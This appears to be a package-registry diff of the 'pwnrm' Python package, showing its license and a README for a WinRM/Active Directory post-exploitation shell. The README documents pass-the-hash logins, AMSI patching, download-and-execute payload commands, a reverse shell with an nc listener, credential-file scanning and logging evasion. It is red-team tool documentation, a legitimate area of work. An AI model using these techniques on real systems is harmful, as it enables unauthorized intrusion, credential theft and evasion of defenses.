pwnrm 1.0.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
pwnrm-1.0.1/LICENSE.md ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2025 Hoang G.
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
pwnrm-1.0.1/PKG-INFO ADDED
@@ -0,0 +1,408 @@
1
+ Metadata-Version: 2.4
2
+ Name: pwnrm
3
+ Version: 1.0.1
4
+ Summary: Advanced WinRM / AD Post-Exploitation Shell
5
+ Author: uziii2208
6
+ License: MIT
7
+ Project-URL: Homepage, https://github.com/uziii2208/PwnRM
8
+ Project-URL: Repository, https://github.com/uziii2208/PwnRM
9
+ Project-URL: Issues, https://github.com/uziii2208/PwnRM/issues
10
+ Keywords: winrm,activedirectory,pentest,redteam,impacket
11
+ Classifier: Development Status :: 4 - Beta
12
+ Classifier: Environment :: Console
13
+ Classifier: Intended Audience :: Developers
14
+ Classifier: Intended Audience :: Information Technology
15
+ Classifier: License :: OSI Approved :: MIT License
16
+ Classifier: Operating System :: POSIX :: Linux
17
+ Classifier: Programming Language :: Python :: 3
18
+ Classifier: Programming Language :: Python :: 3.9
19
+ Classifier: Programming Language :: Python :: 3.10
20
+ Classifier: Programming Language :: Python :: 3.11
21
+ Classifier: Programming Language :: Python :: 3.12
22
+ Classifier: Topic :: Security
23
+ Requires-Python: >=3.9
24
+ Description-Content-Type: text/markdown
25
+ License-File: LICENSE.md
26
+ Requires-Dist: impacket>=0.11.0
27
+ Requires-Dist: requests>=2.28.0
28
+ Requires-Dist: urllib3>=1.26.0
29
+ Requires-Dist: pyasn1>=0.4.8
30
+ Requires-Dist: pycryptodomex>=3.18.0
31
+ Requires-Dist: cryptography>=41.0.0
32
+ Requires-Dist: prompt-toolkit>=3.0.0
33
+ Provides-Extra: dev
34
+ Requires-Dist: pytest>=7.0.0; extra == "dev"
35
+ Requires-Dist: build>=1.0.0; extra == "dev"
36
+ Requires-Dist: twine>=4.0.0; extra == "dev"
37
+ Dynamic: license-file
38
+
39
+ <div align="center">
40
+
41
+ <img src="photos/image.png" alt="PwnRM Banner" width="720"/>
42
+
43
+ # PwnRM
44
+
45
+ **Advanced WinRM Post-Exploitation Shell for Windows Active Directory Testing**
46
+
47
+ [![Stars](https://img.shields.io/github/stars/uziii2208/PwnRM?style=for-the-badge&color=gold&logo=github)](https://github.com/uziii2208/PwnRM/stargazers)
48
+ [![Forks](https://img.shields.io/github/forks/uziii2208/PwnRM?style=for-the-badge&color=blue&logo=github)](https://github.com/uziii2208/PwnRM/network/members)
49
+ [![Issues](https://img.shields.io/github/issues/uziii2208/PwnRM?style=for-the-badge&color=red&logo=github)](https://github.com/uziii2208/PwnRM/issues)
50
+ [![License](https://img.shields.io/badge/License-MIT-green?style=for-the-badge&logo=opensourceinitiative)](LICENSE)
51
+ [![Version](https://img.shields.io/badge/Version-1.0.0-purple?style=for-the-badge)](https://github.com/uziii2208/PwnRM/releases)
52
+ [![Platform](https://img.shields.io/badge/Platform-Linux-orange?style=for-the-badge&logo=linux)](https://github.com/uziii2208/PwnRM)
53
+ [![Python](https://img.shields.io/badge/Python-3.10%2B-blue?style=for-the-badge&logo=python)](https://www.python.org/)
54
+
55
+ > **PwnRM** is a fully rewritten, operator-grade WinRM execution framework built for **advanced Windows Active Directory security assessments**. It combines a rich interactive shell with a built-in AD triage engine, Kerberos/NTLM/CredSSP transport layer, and stealthy .NET / PowerShell payload delivery — all from a single Python binary.
56
+
57
+ [Features](#-features) · [Installation](#-installation) · [Usage](#-usage) · [Commands](#-commands) · [AD Triage](#-ad-triage-new-in-v100) · [Changelog](#-changelog) · [Disclaimer](#%EF%B8%8F-disclaimer)
58
+
59
+ </div>
60
+
61
+ ---
62
+
63
+ ## What is PwnRM?
64
+
65
+ PwnRM is a post-exploitation shell for **authorized red-team and penetration testing** of Windows environments. It targets the **WS-Management (WinRM) protocol** and communicates natively over MS-PSRP (PowerShell Remoting Protocol), giving you a full PowerShell runspace without spawning `powershell.exe` as a visible process.
66
+
67
+ Built on top of [Impacket](https://github.com/fortra/impacket), PwnRM supports every modern AD authentication path — NTLM, Pass-the-Hash, Kerberos ccache, CredSSP, and client-certificate mutual auth (ADCS abuse) — and ships with a self-contained **AD Triage module** that enumerates the most critical Active Directory attack paths without requiring any additional tooling on the target.
68
+
69
+ ### Why PwnRM over evil-winrm?
70
+
71
+ | Capability | PwnRM v1.0.0 | evil-winrm |
72
+ |---|:---:|:---:|
73
+ | Pure Python (no Ruby) | ✅ | ❌ |
74
+ | Kerberos ccache / PtH | ✅ | ✅ |
75
+ | CredSSP transport | ✅ | ❌ |
76
+ | Client-cert (.pfx) mutual auth | ✅ | ❌ |
77
+ | Built-in AD Triage (no BloodHound needed) | ✅ | ❌ |
78
+ | AMSI bypass | ✅ | ✅ |
79
+ | .NET assembly loader | ✅ | ✅ |
80
+ | Session metadata + tab-completion | ✅ | ❌ |
81
+ | Channel binding (EPA) | ✅ | ❌ |
82
+ | No PowerShell history (`AddToHistory=false`) | ✅ | ❌ |
83
+
84
+ ---
85
+
86
+ ## Features
87
+
88
+ ### Shell & Connectivity
89
+ - **Interactive PowerShell runspace** over WS-Management / MS-PSRP — no `powershell.exe` process visible on target
90
+ - **Tab-completion** for all built-in commands via `prompt_toolkit`
91
+ - **Session metadata** — uptime, command counter, active target info in the prompt
92
+ - **Session transcript** — structured log of every command and output
93
+
94
+ ### Authentication
95
+ - **NTLM** (password or NT hash — Pass-the-Hash)
96
+ - **Kerberos** — ccache file (`-k --ccache`) or `KRB5CCNAME` environment variable
97
+ - **CredSSP** — full credential delegation (useful for double-hop scenarios)
98
+ - **Client certificate mutual auth** — `.pfx` files from ADCS abuse paths (ESC1, ESC9, Shadow Credentials)
99
+ - **Channel binding (EPA)** on HTTPS targets — compatible with Server 2022+ hardened configs
100
+
101
+ ### Payload Delivery
102
+ - **`!upload` / `!download`** — chunked XOR-obfuscated file transfer with MD5 verification; directory download auto-zips
103
+ - **`!amsi`** — patches `AmsiScanBuffer` in the remote process via reflective DllImport
104
+ - **`!psrun`** — streams and executes remote PowerShell scripts inside an obfuscated `ScriptBlock` to evade logging
105
+ - **`!netrun`** — loads and invokes remote .NET assemblies with console output hijack
106
+ - **`!revshell`** — raw Winsock reverse shell via `CreateProcess` + `WSAConnect` — full stdin/stdout/stderr
107
+
108
+ ### AD Triage (`!adtriage`)
109
+ Built-in, no-extra-tools AD enumeration engine. See the [full section](#-ad-triage-new-in-v100) below.
110
+
111
+ ---
112
+
113
+ ## Installation
114
+
115
+ ### Requirements
116
+
117
+ - **OS**: Kali Linux, Parrot OS, Ubuntu 22.04+, Debian 11+ (or any Linux with Python 3.10+)
118
+ - **Python**: 3.10+
119
+ - **Root/sudo**: required for the installer
120
+
121
+ ### Quick Install
122
+
123
+ ```bash
124
+ git clone https://github.com/uziii2208/PwnRM.git
125
+ cd PwnRM
126
+ sudo bash install.sh
127
+ ```
128
+
129
+ The installer sets up a virtual environment at `/opt/pwnrm` and registers a global `pwnrm` wrapper.
130
+
131
+ ### Manual Install
132
+
133
+ ```bash
134
+ git clone https://github.com/uziii2208/PwnRM.git
135
+ cd PwnRM
136
+ python3 -m venv venv && source venv/bin/activate
137
+ pip install -r requirements.txt
138
+ python3 pwnrm -h
139
+ ```
140
+
141
+ ### Python Dependencies
142
+
143
+ ```
144
+ impacket>=0.12.0
145
+ prompt_toolkit>=3.0.0
146
+ pycryptodomex>=3.20.0
147
+ requests>=2.31.0
148
+ cryptography>=42.0.0
149
+ pyasn1>=0.6.0
150
+ ```
151
+
152
+ ---
153
+
154
+ ## Usage
155
+
156
+ ### Basic Syntax
157
+
158
+ ```
159
+ pwnrm [[domain/]username[:password]@]<target> [options]
160
+ ```
161
+
162
+ ### Authentication Examples
163
+
164
+ ```bash
165
+ # Password
166
+ pwnrm -u Administrator -p 'P@ssw0rd!' 192.168.1.10
167
+
168
+ # Pass-the-Hash (NT hash only)
169
+ pwnrm -u Administrator -H :aad3b435b51404eeaad3b435b51404ee dc01.corp.local
170
+
171
+ # Kerberos via ccache
172
+ export KRB5CCNAME=/tmp/administrator.ccache
173
+ pwnrm -u administrator@CORP.LOCAL -k dc01.corp.local
174
+
175
+ # Kerberos with explicit ccache path
176
+ pwnrm -u administrator@CORP.LOCAL -k --ccache /tmp/admin.ccache dc01.corp.local
177
+
178
+ # Client certificate from ADCS abuse (ESC1 / ESC9 / Shadow Credentials)
179
+ pwnrm -u administrator@CORP.LOCAL --pfx administrator.pfx --pfx-pass MySecret https://dc01.corp.local:5986
180
+
181
+ # CredSSP (double-hop / credential delegation)
182
+ pwnrm -u admin -p 'P@ss' --credssp dc01.corp.local
183
+
184
+ # Run single command (non-interactive)
185
+ pwnrm -u admin -p 'P@ss' dc01.corp.local -X "whoami /all"
186
+ ```
187
+
188
+ ### Connection Options
189
+
190
+ ```
191
+ --port PORT Override WinRM port (default: 5985 HTTP, 5986 HTTPS)
192
+ --ssl Force HTTPS
193
+ --timeout SEC Per-request timeout (default: 30)
194
+ --debug Verbose output
195
+ --ts Timestamp all log entries
196
+ ```
197
+
198
+ ---
199
+
200
+ ## Commands
201
+
202
+ Once connected, use these built-in commands inside the shell:
203
+
204
+ ### File Operations
205
+
206
+ | Command | Description |
207
+ |---|---|
208
+ | `!download RPATH [LPATH]` | Pull file or directory from target. Directories are automatically zipped. Paths with spaces must be quoted. |
209
+ | `!upload [-xor] LPATH [RPATH]` | Push a local file to the target. Use `-xor` when staging encrypted payloads for `!psrun`/`!netrun`. |
210
+
211
+ ### Code Execution
212
+
213
+ | Command | Description |
214
+ |---|---|
215
+ | `!amsi` | Patch `AmsiScanBuffer` in the remote PowerShell process. Run this before loading .NET assemblies or obfuscated scripts. |
216
+ | `!psrun [-xor] URL` | Download and execute a PowerShell script via URL using obfuscated ScriptBlock invocation. |
217
+ | `!netrun [-xor] URL [ARG..]` | Download and invoke a .NET assembly with optional arguments. Console output is captured via a custom `TextWriter`. |
218
+ | `!revshell IP PORT` | Spawn a raw Winsock reverse shell with full I/O redirection (`stdin`/`stdout`/`stderr`). Use `nc -lvnp PORT` on your listener. |
219
+
220
+ ### AD Reconnaissance
221
+
222
+ | Command | Description |
223
+ |---|---|
224
+ | `!adtriage` | Full AD enumeration: identity, groups, SPNs, AS-REP, delegation, ADCS, gMSA/dMSA, ACLs. |
225
+ | `!adtriage -q` | Quick mode — identity, domain basics, and Server 2025 / BadSuccessor check only. |
226
+ | `!sysinfo` | OS build, hotfixes, AV products, local admins, SMB/WinRM configuration. |
227
+ | `!creds` | Scans for DPAPI blobs, PowerShell history, `web.config`, `unattend.xml`, `ntds.dit`, `cmdkey` entries. |
228
+
229
+ ### Session Management
230
+
231
+ | Command | Description |
232
+ |---|---|
233
+ | `!log` | Start logging session transcript to `pwnrm_<timestamp>_stdout.log`. |
234
+ | `!stoplog` | Stop transcript logging. |
235
+ | `!help` / `?` | Show built-in help with session metadata. |
236
+ | `exit` / `quit` / `Ctrl+D` | Close the remote session gracefully. |
237
+ | `Ctrl+C` | Interrupt the currently running remote command. Repeated Ctrl+C force-terminates. |
238
+
239
+ ---
240
+
241
+ ## AD Triage (New in v1.0.0)
242
+
243
+ `!adtriage` is PwnRM's signature feature: a **self-contained Active Directory enumeration engine** that runs entirely inside the remote PowerShell session using only built-in .NET and ADSI/LDAP calls — no Sharphound, no BloodHound, no extra binaries on the target.
244
+
245
+ ### What it covers
246
+
247
+ ```
248
+ 1. Identity & session — current user, SID, groups, privileges
249
+ 2. Domain basics — domain, forest, DCs, external trusts
250
+ ↳ OS version check — flags Windows Server 2025 → BadSuccessor hint
251
+ 3. High-value group members — Domain Admins, Enterprise Admins, DNSAdmins, etc.
252
+ 4. Kerberoastable accounts — user objects with SPNs, adminCount, password age
253
+ 5. AS-REP roastable — DONT_REQ_PREAUTH accounts
254
+ 6. Unconstrained delegation — coercion + TGT capture targets
255
+ 7. Constrained delegation — S4U2Self / protocol-transition paths
256
+ 8. RBCD — msDS-AllowedToActOnBehalfOfOtherIdentity write targets
257
+ 9. ADCS template scan — ESC1 (enrollee-supplied SAN), ESC3 (cert request agent),
258
+ ESC4 (published templates — flag for Certipy)
259
+ 10. gMSA / dMSA — gMSA password read targets; dMSA BadSuccessor targets
260
+ 11. ACL quick-wins — GenericAll / GenericWrite / WriteDACL on DA/DC/krbtgt
261
+ 12. Pre-Windows 2000 compat — Anonymous LDAP read vulnerability check
262
+ 13. Password-never-expires — adminCount=1 accounts with infinite passwords
263
+ ↳ Printed next steps — Kerberoast / AS-REP / ADCS / BadSuccessor / BloodHound
264
+ ```
265
+
266
+ ### Sample output
267
+
268
+ ```
269
+ ========================================================================
270
+ [*] Identity & Session
271
+ ========================================================================
272
+ [+] User : CORP\svc_backup
273
+ [+] SID : S-1-5-21-...
274
+ [+] Groups : CORP\Backup Operators, ...
275
+ [+] Privs : SeBackupPrivilege, SeRestorePrivilege
276
+
277
+ ========================================================================
278
+ [*] Unconstrained Delegation
279
+ ========================================================================
280
+ [!] FILESRV01$ ← coerce + capture TGT → DCSync
281
+
282
+ ========================================================================
283
+ [*] ADCS — Vulnerable Certificate Templates
284
+ ========================================================================
285
+ [!] ESC1 candidate : UserAuth (enrollee supplies SAN + Client Auth)
286
+ [!] ESC3 candidate : EnrollAgent (Certificate Request Agent EKU)
287
+
288
+ ========================================================================
289
+ [*] gMSA / dMSA Accounts
290
+ ========================================================================
291
+ [+] gMSA: svc_adfs$
292
+ [!] dMSA: svc_itsupport$ ← potential BadSuccessor target
293
+ ```
294
+
295
+ ---
296
+
297
+ ## Directory Structure
298
+
299
+ ```
300
+ PwnRM/
301
+ ├── pwnrm # Main entry point (CLI + PwnShell class)
302
+ ├── core.py # Transport layer, Runspace, credential helpers
303
+ ├── requirements.txt # Python dependencies
304
+ ├── install.sh # One-line installer (Kali / Debian / Ubuntu)
305
+ ├── photos/
306
+ │ └── image.png # Banner screenshot
307
+ └── README.md # This file
308
+ ```
309
+
310
+ ---
311
+
312
+ ## Troubleshooting
313
+
314
+ **`pwnrm: command not found`**
315
+ ```bash
316
+ sudo bash /opt/pwnrm/install.sh
317
+ ```
318
+
319
+ **Python import errors**
320
+ ```bash
321
+ source /opt/pwnrm/venv/bin/activate
322
+ pip install -r /opt/pwnrm/requirements.txt
323
+ ```
324
+
325
+ **`KRB_AP_ERR_SKEW` / Kerberos clock skew**
326
+ ```bash
327
+ sudo ntpdate <DC_IP> # or: sudo rdate -n <DC_IP>
328
+ ```
329
+
330
+ **WinRM connection refused**
331
+ ```powershell
332
+ # On the target (as Administrator):
333
+ Enable-PSRemoting -Force
334
+ Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force
335
+ ```
336
+
337
+ **AMSI detection when loading assemblies**
338
+ Run `!amsi` before `!netrun` or `!psrun`. If AMSI is still catching payloads, XOR-encrypt the payload first with `!upload -xor` and then load it with `!netrun -xor`.
339
+
340
+ ---
341
+
342
+ ## Changelog
343
+
344
+ ### v1.0.0 (2026-08-15)
345
+ - **New**: `!adtriage` — self-contained AD post-auth enumeration engine (13 checks, no extra binaries)
346
+ - **New**: `!sysinfo` — OS/AV/hotfix/SMB snapshot command
347
+ - **New**: `!creds` — DPAPI artifact and credential file scanner
348
+ - **New**: Kerberos ccache transport (`-k` / `--ccache`)
349
+ - **New**: Client-certificate mutual-auth transport (`--pfx` / `--pfx-pass`) — ADCS abuse ready
350
+ - **New**: CredSSP transport (`--credssp`) for double-hop scenarios
351
+ - **New**: Pass-the-Hash via `-H NTHASH` flag (previously required inline in target string)
352
+ - **New**: Tab-completion via `prompt_toolkit` WordCompleter
353
+ - **New**: Session metadata (uptime, command counter) in banner and prompt
354
+ - **New**: Channel binding (EPA/GSS bindings) for HTTPS targets — compatible with Server 2022+
355
+ - **Improved**: `AddToHistory=false` in all pipeline requests — cleaner OPSEC footprint
356
+ - **Improved**: `argument_parser()` overhauled — all auth modes exposed as clean flags
357
+ - **Improved**: `_decrypted_response()` handles both tab and space prefixes in MIME multipart
358
+ - **Improved**: Full ANSI colour palette for clear output differentiation (green=success, yellow=warn, red=error, cyan=info)
359
+ - **Improved**: README completely rewritten with badges, comparison table, and per-command docs
360
+
361
+ ---
362
+
363
+ ## ⚠️ Disclaimer
364
+
365
+ PwnRM is developed for **authorized security testing, red-team operations, and educational purposes only**.
366
+
367
+ - You must have **explicit written authorization** (Rules of Engagement / signed scope) before running PwnRM against any system.
368
+ - The authors assume **no liability** for misuse, damage, or unauthorized use.
369
+ - **Never use against systems you do not own or lack permission to test.**
370
+
371
+ ---
372
+
373
+ ## Credits
374
+
375
+ | Contributor | Role |
376
+ |---|---|
377
+ | **uziii2208** | Core author, v1.0.0 rewrite |
378
+ | **Impacket / SecureAuth** | WinRM / Kerberos / NTLM protocol library |
379
+ | **fortra/impacket** | Upstream dependency |
380
+ | Original `winrmexec.py` | Concept and initial reference |
381
+
382
+ ---
383
+
384
+ ## License
385
+
386
+ ```
387
+ MIT License — Copyright (c) 2025 uziii2208
388
+ Permission is hereby granted, free of charge, to any person obtaining a copy
389
+ of this software and associated documentation files (the "Software"), to deal
390
+ in the Software without restriction, including without limitation the rights
391
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
392
+ copies of the Software, and to permit persons to whom the Software is furnished
393
+ to do so, subject to the following conditions: The above copyright notice and
394
+ this permission notice shall be included in all copies or substantial portions
395
+ of the Software.
396
+ ```
397
+
398
+ ---
399
+
400
+ <div align="center">
401
+
402
+ **ENJOY YOUR MEAL 🍖**
403
+
404
+ *Made with ☕ and too many late nights — for the red team community.*
405
+
406
+ [![GitHub](https://img.shields.io/badge/GitHub-uziii2208-black?style=flat-square&logo=github)](https://github.com/uziii2208)
407
+
408
+ </div>